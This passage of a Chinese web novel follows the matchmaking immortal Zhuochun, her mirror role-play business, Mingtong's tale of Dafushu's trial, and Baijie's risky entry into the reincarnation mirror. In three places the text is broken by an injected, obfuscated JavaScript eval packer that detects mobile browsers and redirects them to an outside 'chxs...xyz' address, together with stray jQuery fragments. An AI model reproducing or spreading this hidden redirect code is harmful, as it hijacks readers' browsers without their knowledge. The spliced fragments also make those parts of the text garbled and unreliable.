“不不不……应该不是吧？也许他们是去上厕所——也有可能坐累了出去走走！” “嚯，然后就壮士一去兮不复还？” “……”灼春对着人数稳定减少的大院，说不出反驳的话。 吉吾无奈：“不能留住客人的店是赚不了钱的。” 灼春当即拍案而起，要让小麻去准备饮品和点心，但立刻被吉吾拦住。 “你收费才多少？免费提供饮食，你是嫌自己钱太多吗？” “……那你让我怎么办？不送吃的人坐不住，送了吃的又亏本……”灼春忽地想起吉吾商界鬼才的名声，马上扯着对方的衣袖，笑嘻嘻地求指点。 吉吾不动如山：“我六你四。” “我六你四。” “我七你三。” “……五五。” “成交。” 吉吾指节咚的一下敲桌，定下合作。 “免费的东西提供多了，会养大人们的胃口，要求会越来越高越来越多。” 灼春：“那么□□？” “不尽然。” 吉吾的意思是，可以免费提供物品，但不能提供太有价值的东西，最多白水加点茶叶，而其他消磨时间的东西则可以□□。 灼春点头后，吉吾立刻通知手下人，眨眼的工夫就拉来一个个流动店铺，把情理所附近打造出一条临时小吃街。除此之外，她又在情理所大院内重新布置座位，周边增加了书架和取水处，使演玩剧枯燥的等候区变成了有棚遮阳挡风，还能阅读书籍饮用茶水的简易小茶楼。 这么一来，客源不仅没有流失，还持续不断地增加了。 灼春看得目瞪口呆。 她倒不觉得吉吾多会做生意，只觉得有钱真好，有本钱真好，二话不说一个商业巨国就建起来了。 如果她有那么多钱可以浪，她也能造一条商业街赚得盆满钵满！ 只要在风口，猪都能飞天。 灼春松了口气：“那现在可以安心了吧……” “高兴得太早了！”吉吾凛然，“灼春，你不觉得这样效率太低了吗？我们这次的合作重心在你的‘演玩剧’上，如果演玩剧没有足够的吸引力，那些设施再多再完备也不能长久，因为少噱头。” “啊？” 吉吾捏着下巴思索：“我调查过，根据目前仅有的几个体验过的玩家的评价，‘演玩剧’本身还是颇具竞争力的，就是效率太低——灼春，轮回镜一次只能进一个人吗？如果只能进一个人的话，那我们得想想办法从凤脊那儿把其余的镜子也……” 灼春：“！” 灼春：“等等！一次最多能进八个人！不是仙者，进轮回镜的限制就放宽许多，只是多人一起进入，只能选择同一个背景，就不是定制了，估计没人愿意……”而且以促进感情的目的来说，组团进轮回镜，用意有点太明显了…… “尽管是同一个背景，但各自的身份仍然可以选择吧？” 灼春一愣：“当然？只不过需要我手动操作……” 吉吾一拍大腿，拍板定下：“好！我们出个团体模式，八人成团，团体票打八五折！” “……嗯？” 吉吾介入后，参与演玩剧的人数成倍增长。 原本灼春还担心八人成团的策略会引发大家反感，结果，大家只在意打折和尽快玩游戏，根本不介意是不是有别人和自己同一时间段玩游戏。 轮回镜制造的世界非常大，即使是同一个世界同一个时代，只要身份选择不是太接近，有可能镜中玩一个月连对方的名字都没听说过呢！ 在吉吾的策划下，灼春意外地赚到了不少门票费。随着时间流逝，情理所附近的商业区越发完善，灼春分到的净利润也在蹭蹭上升。 钱包鼓了，灼春立马找林鸿买了治本的药，终于脱离了苦海。 与此同时，成婚率也—— “没人登记！？” 灼春错愕了。 程冰津也觉得不可思议：“不会吧？参与演玩剧的人明明那么多，大多数人出来后都表示要谈一场甜甜的恋爱，更有组团游戏的人出来后继续镜中的情缘——怎么可能一对来登记的都没有？” 麻惠良抱着数据本为难道：“是的……而且……我注意到，参加演玩剧的，越来越多的人都不是在体验爱情，而是在体验短暂的权力、力量、财富、荣誉……我想之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020096|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后应该更不可能有人登记成婚了……” 灼春：“……” 好吧……是她低估了人性…… 也是，花一点点钱，享受真实的一个月荣华富贵……他大爷的，她怎么就没想到这一层？ 有权有钱，谁还会花宝贵的时间在虚无的感情上啊？在有限的时间内不尽情体验荣华富贵，匀出时间谈恋爱……换位思考，她都觉得谈感情的人太不聪明，不聪明到就算结婚生子她也怀疑能不能把小孩平安健全地养大。 “哎呀我怎么早没想到这个主意呢？‘演玩剧’太吸金了，简直就是神之一手！那如潮的好评，刺激得我都想玩一玩了！”吉吾美滋滋地过来办公室和灼春分享这个消息，但只看到愁眉不展的三个人。 灼春郁郁寡欢，沉闷道：“建议你不要。仙者进入轮回镜，自动开始历劫模式，如果无人发现，无人在边上帮着司劫，很可能身陨道消。” 吉吾纳闷：“你们怎么了？赚到钱不开心？觉得定价低了拿得少了？” 灼春仰头长叹：“金钱带来的快乐是一时的，而工作带来的痛苦是吸烟刻肺的……” “啊……你是说情理所业绩的事儿？”吉吾安抚地拍拍灼春，“那有什么，不就扣点年终奖吗？这两天赚的早补回来了。” “不是这个，是更长远的问题。”灼春郁闷。 要不是为了治病，她才不在乎钱多钱少呢，又不是没钱就活不了了……关键是，偶仙的工作完不成，老大很可能会扣她假期啊！ 假假假！她工作就是为了休假啊！ “成婚率生育率成婚率生育率……” 灼春抱头呢喃“成婚率”“生育率”，两个词汇来来回回卡碟了似的不停重复。 “……灼春，‘偶仙’到底负责什么？” 吉吾忽然发问。 “啊？突然问这干嘛？”灼春苦闷抬眼。 程冰津不假思索脱口问：“说起来我也不太明白呢——灼春姐，咱们情理所就只是保媒拉纤的机构吗？” “当然不是。”灼春答，“还有处理情感纠纷等。不过我也很奇怪，怎么今年你们只碰上了离婚和结婚的案子，没有碰上感情纠纷的案子。” 程冰津：“哦！还是爱情相关的事务嘛！” 灼春惊呼“怎么会”。 她：“情感又不只有爱情一种——虽然它的存在感是突出了一点——除了爱情，还有亲情友情师生情乡土情同窗情，情感纠纷也可以是亲人间吵架、朋友间误会、同窗突然不待见自己……只要是感情，我们情理所都管！我这‘偶仙’的‘偶’，对应的是‘孤独’的‘独’，我的职责是让人们不会在情感的世界被驱逐，不会在人世踽踽独行。” 程冰津第一次听见这个说法，当即被其中的崇高的愿景打动，情不自禁地奋力鼓掌，为灼春喝彩。 “……那所里的业绩怎么只关注成婚率，难道登记婚姻了就能保证不孤独么……”麻惠良小声嘟囔。 灼春耳尖，听清她的话后，解释：“还不是老——掌舵为了将工作可视化数据化嘛！其他的情感纠纷情感处理都比较私人，很难确定介入界限，但是部门成立了又不能没要求，所以就创了个成婚率嘛！再不可靠，多少也能起到一点爱情方面的观测作用，而且对其他部门的工作会有一定帮助。” 程冰津问：“那生育率又是起什么作用呢？将亲情可视化吗？” “生了孩子不代表有亲情，亲情的产生是非常——”灼春猛地回神，“对啊，生育率跟我们没关系啊！” 成婚率低，林鸿还能揪着这跟她说道说道，但是生育率跟她完全无关啊！ 婚姻，可以说是感情到达一定稳定程度后共同定下的誓约，缔结的契约，能在某种程度上证明情感的存在、联结——但是生育率证明不了任何感情，不归她管啊！ 而如果只谈成婚率等数据…… 她今年的指标早完成了根本不带虚的！ 她紧张个锤子哦！ 50.都是生意 灼春去和林鸿辩论，后者听了只是沉默。 灼春得意：“没话说了？那就是说，你也觉得生育率低不归我负责咯！” 林鸿：“……好吧，但在社会稳定下来之前，话本市场里的苦情戏通通不得出售流通——私底下也不行。” 林鸿说最后半句话的时候看向旁观的吉吾。 吉吾一愣，讪笑着应下。 灼春没对这个命令提出异议。 首先，比起想办法提高生育率，不允许卖书简直小菜一碟小事一桩！ 其次，她真不在意钱！之前是因为想要赚钱买药，现在靠着演玩剧小赚一笔，身体已然恢复，不需要着急用钱，所以不能卖书不能挣版权费，对她来说不是大事！ 对灼春来说，只不过失去一个赚钱途径，就像储满水的骆驼走出了一片绿洲。 对吉吾来说，这岂止是失去一个赚钱途径？分明是剜下她一块心头肉啊！ ——照理本该如此。 然而吉吾勉为其难答应后，当真不再涉足苦情戏，私底下也没有小动作，连片刻的失意都不曾有，便直接将精力转向其他领域，譬如与夏侯仙者的合作。 灼春不认为夏侯振川的纸鹤术有多好——平民百姓哪儿需要穿透力那么强的传信术？——至少纸鹤术不会比卖书挣钱。想必吉吾只是随便找个地方发泄失落的情绪。 说起她自己——没有工作任务，也没有金钱压力，灼春的生活突然恢复了和平。她思忖片刻，竟发现自己又可以领着竹水筒悠哉游哉四处闲逛了。 然而喜悦没坚持多久，她就发现自己一直使用的轮回镜状况不太好，十分卡顿——或许是超负荷运作，需要维护了？ 灼春特意去理事堂问了相关维修人员，结果得到“只是轮回镜太久没清理，所以接触不良”的回复。她想让人家把轮回镜拿出清洁，对方却说按程序需要缴纳维护费。她听了报价，立刻歇了心思，问了清理方法，乖乖自己回家打理。 回家之前，灼春想回情理所交代下俩执司关闭轮回镜，但发现情理所的演玩剧比想象中更有市场，预约的人已经排到了年后，定金都收了，立刻停掉项目不现实。 于是灼春就让程冰津她们控制好人数，轮回镜继续摆在那里当工具——并且继续预约项目，没有收手的打算。 “……没有指标压着，时间上不用急，不用赶着让人家结束游戏，多玩一会儿也可以。流程你们都很熟了，遇上任何有疑问的事都可以找我。” 程冰津二人答应得很好。 诚如灼春所交代，熟悉流程之后，不必慌忙翻找灵盘，等待玩家的期间基本就是闲坐着。 闲来无事，程冰津就和麻惠良聊起了关于如何修炼成仙的事，尤其是成仙时需经历的三道天劫。 “……前两关我觉得难度还好，只要修炼到位，身体能忍，就能顺利过关。”程冰津说。 麻惠良眼角一跳，不敢苟同。 小程……认真的？ 她怎么觉得三道关卡最简单的反而是最后一关呢？只要意志坚定不动摇——唔，好像也不简单喏…… “最具挑战性的是最后一关，据说试炼内容因人而异，而且没有答案，有的人刚过完前两关，下一秒就通关得道，有的人则熬到寿终也没能通过考验，甚至不知道自己哪里不被天道认可。” 程冰津一想到没有任何标准参考的第三关，就忍不住摇头。 麻惠良见她没信心，忍不住出声安慰：“我想天道只是考验修炼者的意志恒心什么的吧？你一心向道，肯定没问题的！” 程冰津难得地叹气：“可是一无所知的状态令人难以抑制地担忧……啊对了，不如我们问问灼春姐她是怎么通过考验的吧！” “！！”麻惠良的拒绝脱口而出，“这样随便打扰人家不好吧……” “灼春姐不是说有任何事都可以找她吗？仙者都是万里无一的大贤，肯定乐于为后来者解惑的啦！” 程冰津一边说一边已经画出了传音阵，麻惠良在一旁伸手缩手犹豫不决，便错过了阻止的最佳时机——阵法已经接通。 程冰津：“灼春姐，我有个关于修仙的问题想问你——你当初是怎么通过天道的第三关的啊？” “‘静问心’那关？嘶……时间太久了我需要想想……哎，你们问这干嘛？是哪个想去闯关了？” 程冰津：“以后会闯的，现在还在努力准备呢！我们就是聊天聊到了，因为什么都不知道，担心会无意中触怒天道，使得过关失败，所以想知道得详细些。” “嗐！多虑了！天道又不是人，没有个人情绪的！问心关只是考验你自己的目的心，只要你坚定自己的路，天道不会故意卡你，比资具考还公平——哦我想起来了，我当时流了两滴眼泪就过关了。” “两滴眼泪？”程冰津纳闷。 “我的参考价值不大，如果你们真想打听更多消息，最好还是去找鸣桐，她知道的消息最多了。” 《镜中百年》一书，百捷看了一遍不太懂，但事后却总是不由自主地想起其中部分内容，下意识地琢磨书中人是什么意思。 与其日夜纠结，占据思维，百捷当机立断，抓紧在从话本市场关闭前抢购了一本回来，再次通读。 第二遍阅读比第一遍顺多了，但是看完后还是有很多地方不明白。 百捷又看了第三遍。 第三遍的理解程度又有所上升，但是不理解的地方还是斑斑驳驳有不少。 于是百捷继续看第四遍。 …… 不知看了第几回，百捷终于觉得自己将所有情节看明白了。只是，她把情节看明白后，故事中深埋的悲伤也被她挖出地面，巨大的哀戚如一张牢不可破的捕鲨网，将她翻车鱼一般没有防御力的心紧紧拢住，逃无可逃。 百捷沉浸在悲伤的余韵中，好几日没敢看《镜中百年》的实体书封面一眼。只要看一眼封面，书中那些缠绵悱恻的内容便会自动跳进脑海让她难以释怀，不忍落泪。 苦情戏她看了不少，反应这么大的还是第一回，连《镜中纪事》第一部都没这么夸张。 数日后百捷终于做足心理准备，触碰《镜中百年》，想归置归置——结果一碰到书封就下意识翻开，不知不觉又看一回，并且温故知新，又注意到了不少曾经错过的细节。 百捷的心再次碎成一片一片的了。 她收回最初对此书的评价，是她太肤浅了。 这本书已经超越话本，成为教科书一般值得名垂青史流芳百世的世界名著！ 她再次更新自己的评价，这本书不仅是第一本令她痛不欲生的，还是第一本后劲大让她迟迟缓不过来的。 悲剧虽然看完了痛心，但是看的时候极其上瘾。 被极致的故事引诱，百捷对悲情戏的渴求被钓了起来。然而当她饥肠辘辘地去书市寻找精品苦情戏时，却被告知，所有悲情戏都被取缔了！？别说精品，就是残次品都买不着了！？ 这不是要她命嘛！不是悲剧不够劲啊！ 百捷撸起袖子就要和妨碍自己看书的罪魁祸首练练——什么？是掌舵和吉吾？ 百捷：“……” 天子犯法与庶民同罪！ 她闯进妙回堂声称要找林鸿练练，结果连对方的一根汗毛都没碰到就被慎刑殿斗武殿的人合作抓起来面壁思过。 被慎刑殿的人教训一通后，百捷再不高兴，出狱后也没再找林鸿和吉吾麻烦，只是她心痒难挠，不知该如何纾解。 ——规定不许悲剧话本在市面上流通，那么只要不流通到市面上就可以了咯？ 哈哈！还好她知道谁能写好故事！ 百捷立刻去生灵殿找鸣桐，求她为自己编几个故事解解馋。 鸣桐：“抱歉，我发过毒誓，再也不会写那些伤人心的故事了。” 晴天霹雳！ “求求！只要有书看，让我做什么都可以！” 百捷再三恳求。 鸣桐死不松口。 百捷哭丧着脸。 鸣桐无奈地拍拍她：“百捷，扪心自问，你是真喜欢伤害人的故事吗？还是为了追求一时的刺激？一时的刺激过了就没了，它和毒一样，伤人伤己，别再执着了。” 百捷苦着脸：“我就想看个书……” 鸣桐：“近些年不大可能了。就连灼春开发的演玩剧都不上苦情剧本呢。” “演玩剧？那啥？”百捷茫然。 “是灼春用闲置轮回镜开发的一个游戏，让普通人进入轮回镜扮演意向角色的一个月生活，还挺热门的。” 鸣桐对演玩剧进行了简单的介绍，不过才说了几句，突然就接到来自程冰津她们的消息，问她修仙的第三关都有那些内容。 这一问如同一把钥匙，咔哒一下打开了鸣桐的话匣子。 鸣桐积极道：“每个人的过关条件都不一样，就比如你们偶仙，蹉跎了四年十一个月零二十二天，最后因为难得的眼泪立即过关——” “难得的眼泪？灼春姐经常哭的哦，难得吗？”程冰津想起灼春因为生病的哭，因为被打的哭，因为完不成任务的哭…… “……可能是成仙以后变了？”鸣桐对此也有些含糊，灼春修炼时没什么名气，世上那么多人她也不可能个个都去关注。 百捷：“鸣桐……” 鸣桐：“大扶疏你们知道吗？就是多味楼的老板兼大厨！她过关的过程才叫曲折艰难。——修仙者人数众多，就算是万里挑一的人才，能到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020399|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闯天劫的实力者也有成千上万。不少人闯过了前两关，就卡在第三关，怎么也通不过。其中部分人停滞太久，就产生了消极情绪，认为天道不公，存心不让他们得成正果。——大扶疏的总角之交便是如此，还拉拢了同样不得志的修仙者成立了黑势力组织‘天逆’，肆意妄为为非作歹，为了赚黑钱和延续寿命，还搜罗了不少孤儿逼他们修仙杀人，等孤儿们修炼到一定程度再把他们的力量据为己有，然后杀了那些孩子。” 程冰津第一次听到这么泯灭人性的故事，担忧地问接下来如何，大扶疏难道也是□□成员之一吗。 鸣桐摇头：“大扶疏虽然也始终卡在第三关，但一直坚守坚守本心，不做那些伤天害理的事。甚至得知好友是‘天逆’头目后，还一而再再而三地劝说，希望她迷途知返。可是……” 鸣桐顿了顿，叹息一声后继续：“可是对方沉沦深渊，不仅没有被劝动，还对大扶疏能做延年益寿佳肴的厨艺动了歪心。趁大扶疏不意，封了她的法力，打折她的腿，还对她下了禁制，如果偷偷逃离组织将会受到求生不得求死不能的折磨。” “太坏了吧，怎么连自己从小到大的朋友都如此残忍……”程冰津和麻惠良在那头发出感喟，程冰津不由得问大扶疏之后怎么办的，是不是想办法抓住头目，将其绳之以法。 百捷：“喂……” 鸣桐摇头：“大扶疏是个很心软的人，即便被朋友如此对待，她也只是冷脸以待，不吃不喝不说话，消极抵抗。后来天逆头目为了逼迫她替自己做膳食，竟带着她旁观组织如何利用无辜孩童赚钱、如何吸收他们的法力，等他们失去价值后如何弃如敝履……最后大扶疏和头目做了交易，只要自己乖乖听话下厨，头目就允许她每隔一段时间放走一个孩子。” 程冰津：“哇！不愧是成为仙者的人！自己遭遇不幸了还时刻想着他人！真伟大啊！” 麻惠良嘟囔：“何尝不是一种冷脸洗内裤……” 百捷额角突突跳：“能不……” 鸣桐继续说：“可是天逆头目还说，为了不让组织起骚动，让大扶疏必须封锁消息，隔段时间放人走的事只能偷偷进行，如果被人发现那交易就作废。因此，大扶疏都是偷偷放人走，在天逆如日中天的数年，坚守本心始终不渝，救下了不计其数的无辜者。” 麻惠良小声问她，为什么黑暗势力存在那么久相睦会也没动作。 鸣桐解释，一方面是因为这个组织庞大，相睦会每次行动都只能抓到无足轻重的小团体，稍微往上查，天逆就断尾求生，毫不顾惜；另一方面就是天逆这个组织的核心都是半步飞升的修仙者，实力不俗，还有人质，相睦会投鼠忌器，没找到一网打尽的方法前，不敢轻举妄动。 程冰津好奇：“那么最后大扶疏他们是如何获救的呢？” “……” 百捷不得不承认，这里没有自己说话的份。 于是她背剪双手郁闷走开，走到门口，忍不住哀怨回望一眼，但是鸣桐聊得起劲，完全没有察觉。 “……后来大扶疏在偷偷放走一个孩子的时候——因为那孩子警惕性极强，以为大扶疏要害他——被要放走的孩子背后偷袭，生命垂危。就在临死前一瞬，大扶疏顿悟，通过天道试炼飞升成仙，天降异象，相睦会内外所有仙者都去祝贺，正好聚在天逆老巢，救下大扶疏的同时所有仙者联合起来顺手把组织一锅端了。后来大扶疏因为成仙之时是濒死状态，在妙回堂昏迷了数十年才苏醒，醒来就开了多味楼，成为了闻名遐迩的厨神。” 程冰津又钦佩又心疼：“大扶疏真是……那小孩怎么恩将仇报！我要是大扶疏，可不得心寒死！在那种情况下还能通过试炼，大扶疏……” 鸣桐莞尔：“那孩子做得确实不对，不过在那种环境里长大，没有好的教育，不辨是非，行为有异尚可理解。那孩子知道他杀了的大扶疏只是想救他后，愧悔无地，跪地求掌舵救治她，并且夜以继日地打工偿还医药费。——对了，大扶疏的多味楼，就是那孩子挣钱建的呢。” 程冰津稍微气顺：“这……那他还算有良心……大扶疏善有善报，总算没被辜负啊……” 鸣桐欣慰：“是啊，善心不被辜负就是最大的幸运了……” “……” 嗟叹唏嘘声中，响起了一个势弱但平稳的声音——“所以……大扶疏的过关条件是什么？” “……” 鸣桐和程冰津猛地想起讲故事的初衷，都有些赧然。 鸣桐本想说大扶疏是因为将生死置之度外而过关，可重新转述了一遍故事，又隐约觉得并非如此。 “……我还是再给你们讲讲其他人的故事吧！” 通权达变，随机应变，是鸣桐作为前辈的经验之一。 51.有人欢喜 年终总结如期开展，没了灾潮等特殊重大事件，会议上的内容就变得精简，连参与都不是强制的。 年终大会嘛，基本就是总结总结过去一年的经历，展望展望未来一年的宏图，定一定不一定会实现的目标，最后每个人分点钱发点假——年年都这么过，没什么新意，所以老资历的执司不愿参加也正常，反正就走个流程，最后该到手的还是会到手。 “……以上就是年终总结的全部内容。”会场上首的林鸿收起一摞稿子，切换话题，“接下来发布今年的公费出游计划——分两批，第一批是会里所有在职仙者，目的地‘龟鉴岛’，时间三日，出行方式自选，传送阵或自飞游，选择自飞游的提前一日出发，金钱殿会按标准扣一日工钱，出发时间就在……” 林鸿讲完第一批仙者的旅游计划，又叙述了第二批仙者以外的所有执司的出游地点和安排，是有名的名胜古迹“九间仙谷”，总共五日，还是带薪休假。 夏侯振川第一次参加这种会议，听到两个不同出行地点时，眼角突突抽起来，嘟囔：“……成仙前没说仙者压力这么大，怎么旅个游还上强度……” 龟鉴岛，盘踞于大海中央，奇珍异兽奇花异草的聚集地，非有近半仙实力者不能入，非有满半仙实力者不能出。龟鉴岛基本上就是修仙者们判断自己是否达到闯天道试炼实力的试金石，若能平安入岛，成仙三关便有底气闯一闯。久而久之，龟鉴岛就成了修仙者闯关的默认考场。 ——她自己也是在那儿通过前两道试炼的，对龟鉴岛的记忆嘛，只能说不算最坏。 而其他未成仙的执司将前往的九间仙谷，嗯，是个山川相缪、云蒸霞蔚、花影缤纷的观景佳地——但正因为景色好，所以慕名而来的文人骚客、膏梁子弟众多，人挤人的，哪有什么赏景养心的氛围。 是以，龟鉴岛和九间仙谷她都不想去。 比起和那些个闲杂人等去无趣的地方，她更喜欢一个人待在家里研究法术。 “……现在开始统计人数，自愿原则，但最终报名者不超过半数则抽签强制到达半数，明日之前请诸位仙者将是否参加出游的决定告知主殿赵酉赵执司。”林鸿说。 原来还能拒绝…… 夏侯振川在会议结束后立刻找到赵执司，告知自己不去的意向，恰好灼春过来准备报自己的决定，听见夏侯不愿意出去玩，立马劝说起来，什么龟鉴岛可好玩了，白给的三天休息干嘛不要云云。 夏侯振川乜她一眼，冷漠：“我知道龟鉴岛什么样，不必忽悠我。我宁可日夜工作，也不会去那个鬼地方第二遍。” 灼春张大了嘴，突然想起眼前这位是新仙者，对龟鉴岛的认知还停留在修仙者的层面。 好吧，那难怪了。 灼春嬉笑说：“川姐，咱们要以发展的眼光看待事物！对于修仙者来说，龟鉴岛是恐怖的试炼场，但对咱们仙者来说，龟鉴岛就只是一个度假小岛，凶禽猛兽都是乖巧可爱的小猫小狗小蛐蛐儿，一点儿危险都没有！……” 灼春能言善道，滔滔不绝的几段话下来，还真把夏侯的心思动摇了，夏侯振川一时也拿不定主意，不知道是不是该听劝以平稳心态去龟鉴岛看看…… 灼春该说的都说完了，微笑眨眼，称自己可是要报名参与的—— “叮铃铃——” 灼春脑海中忽地荡开一串风铃的脆响。 在她签署司劫的委任状时，她便与轮回镜有了一些联结，可以大致感觉轮回镜的运行状态。之前她都与轮回镜近距离接触着，所以没什么体现，硬要算也就是前不久感知轮回镜使用过度产生卡顿——当然现在已经清理好了。 “……？” 现在是……有仙者进轮回镜了？ “那啥，我有事先走了，我待会儿再报名！” 灼春提起衣摆噌地跑远，本来有点动摇的夏侯仙者见状瞬间清醒了。 如果龟鉴岛真是游玩的好去处，那她跑什么？ 难怪要忽悠自己参加呢，看来是不想人数不够被迫自愿啊…… 夏侯振川捂着胸口警惕道：“……差点就被她忽悠瘸了。” 赵执司憨笑道：“是啊，偶仙口才可好了，不然怎么哄得大家去情理所登记成婚呢？偶仙的工作非常仰仗口才的——那夏侯仙者你报名这次出游吗？” “不、去。” 夏侯振川坚定道。 “小麻小程！轮回镜里谁进去了！？” 灼春喊完话，上气不接下气地扶着门框半蹲着。 她一开始以为是哪个仙者进了自己家里的那块轮回镜，结果回家一看发现镜子里空空荡荡，于是连忙跑来情理所，推测是哪个仙者在不知情的情况下无意被卷了进去。 麻惠良紧张地看向程冰津，后者指了指边上的轮回镜，说：“刚进一个八人团。” “都有谁？有仙者吗？进去多久了？”灼春连珠炮似的发问，语速快到差点让人听不清。 麻惠良连忙翻登记表，然后推给程冰津看。 程冰津念：“李立、石飞屏、关渡、晴善、百捷、千鹤、娄月璋、昌棠……总共八人，没登记是不是仙者的信息，大概几分钟前进去，都是来玩演玩剧的。” 灼春咂摸着这串名字，猛地一惊—— 百捷！！ 灼春当即把轮回镜中的其余七人拽出来，快速交代道：“小程带着他们先离开，退回门票费并做好安抚；小麻留下——此外，情理所工休，开放时间待定。” 程冰津将蒙圈中的七人推离情理所并合上大门，麻惠良不安地站在一边手足无措。 麻惠良：“我……” “现在使用的是哪个灵盘，轮回镜内是什么世界，给百捷安排的身份是什么？” 灼春立即将轮回镜时速调低，为接下来的工作争取时间。 麻惠良翻着记录本，将轮回镜内的状况如实禀告。了解现况后，灼春便放她离开，再次叮嘱关闭情理所的事。 ——“等等还有一件事！” 灼春嘱托道：“去主殿找赵执司说一声，今年的公费出游我不去了。” 交代好一切，灼春郁闷地坐到轮回镜前，抠下灵盘，用最传统的方式手动操作司劫。 没办法，现有灵盘内容太浅陋，不堪大用，而百捷进入轮回镜也有一会儿了，不知心境如何，时间紧张，也来不及取别的…… 百捷又给她惹事！贪玩就算了，看到玩具是轮回镜就不能长个心眼问问她嘛！眼睛都不眨一下就进去了，万一自己没在意，万一小程她们给她安排个天崩开局呢！她是不是打算身陨道消跟世界说永别了？ 唉…… 小麻说这轮玩家爱刺激，不光角色是随机的，连年龄都随机…… 本来仙者进入轮回镜强制历劫就很危险了，随机模式则更不友好，基本是往镜内小世界最悲惨的身世选择的——随到天聋地哑缺胳膊少腿还是好的，怕就怕随到正处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025310|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于人生下滑期的角色，一个不小心超出承受能力就道心崩坏…… ——啊找到了！在这呢！ 啊，是个家境贫寒的村姑啊…… 唔，目前看起来情绪还算稳定，母亲还挺宠爱的……既然家世摆在那儿了，接下来怎么安排劫数呢？ 嘶…… 如果是她，那肯定选择尽快死亡，赶紧离开轮回镜，大不了调整好后重新进轮回镜历劫！只是——这样的话，现在百捷出来后，力量会大减，说不定都不是自己的对手——她的自尊心大抵是受不住的，而且只怕她得罪过的人闻讯而来会阻止她再次进入轮回镜，到时候……她们俩都得不了好吧？ 嗯…… 如果百捷在这，会怎么说呢？ 灼春以对方的思维思考—— “少瞧不起人了！当然是越难越好啊！你就往死了折磨我，只要折腾不死，我百捷出来又是一大悍将！” ——八成会这么说。 有了结论，灼春就撸起袖子敞开了设置劫难了。 好，她们是多年的交情了，她一定给百捷准备一段肝肠寸断的人生！把百捷的实力提升到极致，碾压战神，独擅胜场！ 灼春一旦投入工作，就忘了日夜时辰，等她看镜中人生差不多到了尾期抽身出来，浑身僵硬得灌了水泥似的，随便一动都是咔咔咔的响声。 后面应该问题不大，就等百捷在镜中死亡从劫数中脱身了。 灼春转着胳膊走出情理所透透气，从麻惠良她们在门缝里留下的书信得知，仙者们的龟鉴岛之游已经结束，现在是第二批执司的九间仙谷之游。麻惠良和程冰津都去了，不知道还有几日才回。 唉，真好，还能公费旅游…… 不知道能不能向老大成功申请“因为工作错过出游所以补休三天”的假期。 “哎！鸣桐！”灼春远远瞧见熟人，连忙跑过去打招呼，“怎么样？在龟鉴岛玩得还愉快吗？” “……挺好的。” 鸣桐被唤，看见是灼春，怔了一会儿才强笑回答。 虽然理智上知道灼春没错，但是感情上……很难不对罪魁祸首心怀芥蒂。 “龟鉴岛里各种植被长得不错，这次去又采了不少珍贵草药……”鸣桐错开视线，掰着指头数采摘的药材。 灼春隐约觉得两人疏远了，但……不可能吧？那可是鸣桐诶？ 权当是自己的错觉，灼春兴冲冲地问鸣桐三天的游玩有没有发生什么有趣的事。 听到这个问题，鸣桐眼皮子一抬，漾开笑容，将知道的全盘托出，比如吉吾偷存金兽宝藏的时候一时大意被食人花吃了、乔江山失足掉进了不能浮羽的弱水潭、林鸿摘花剖出了吉吾和钓鱼钓出了乔江山等等。 说得兴起，鸣桐嘴边都起白沫了，灼春便让她在门口茶棚坐下，自己去屋里拿点茶水过来。 这边灼春刚进屋，那边拐角处龙缨就押着一脸愤恨的小扶疏路过。 鸣桐微笑寒暄，问他们这是怎么了，要去哪儿。 龙缨摁了一把不安分的小扶疏，抓紧其双手镣铐，暂时顿住脚步与鸣桐说话。 “小扶疏逃跑被我捉到。夏掌刑称其多次越狱，性质恶劣，让我先带到掌舵那儿要个说法再带去慎刑殿。” “噢，原来如此……” “来了来了！我特意选了一壶薄荷味的茶，清凉解渴！” 灼春捧着比自己脑袋大的茶壶兴冲冲地跑出来。 52.反戈一击 “呃……一起喝点？” 走出门发现有许多老熟人，灼春僵硬地扯出一丝笑，发出喝茶的邀请。 “咔、咔、咔。” 龙缨与灼春四目相对的瞬间，手就攥成拳头捏得咔咔响，脸色阴沉得泼了墨似的。 小扶疏怒骂：“你个扎俩冲天揪的冷血畜生！就是你害我沦落至此不得超生的——哎呀！” 小扶疏骂到一半就冷不丁地被龙缨从背后一推到了鸣桐身前。鸣桐下意识抓住小扶疏，再抬头，就看见龙缨抽出茶棚上的竹竿运斤成风地单方面殴打灼春。 鸣桐：“……” 对吼，她俩有仇…… 小扶疏被绑得结实，蹦跶着转正身子声援龙缨——尽管前一秒他们还是站在不同立场。 扶疏姐不让他亲自动手，那他看别人动手总可以吧？ 毫无反击之力的灼某人只得呜啦啦鬼叫着抱头鼠窜。 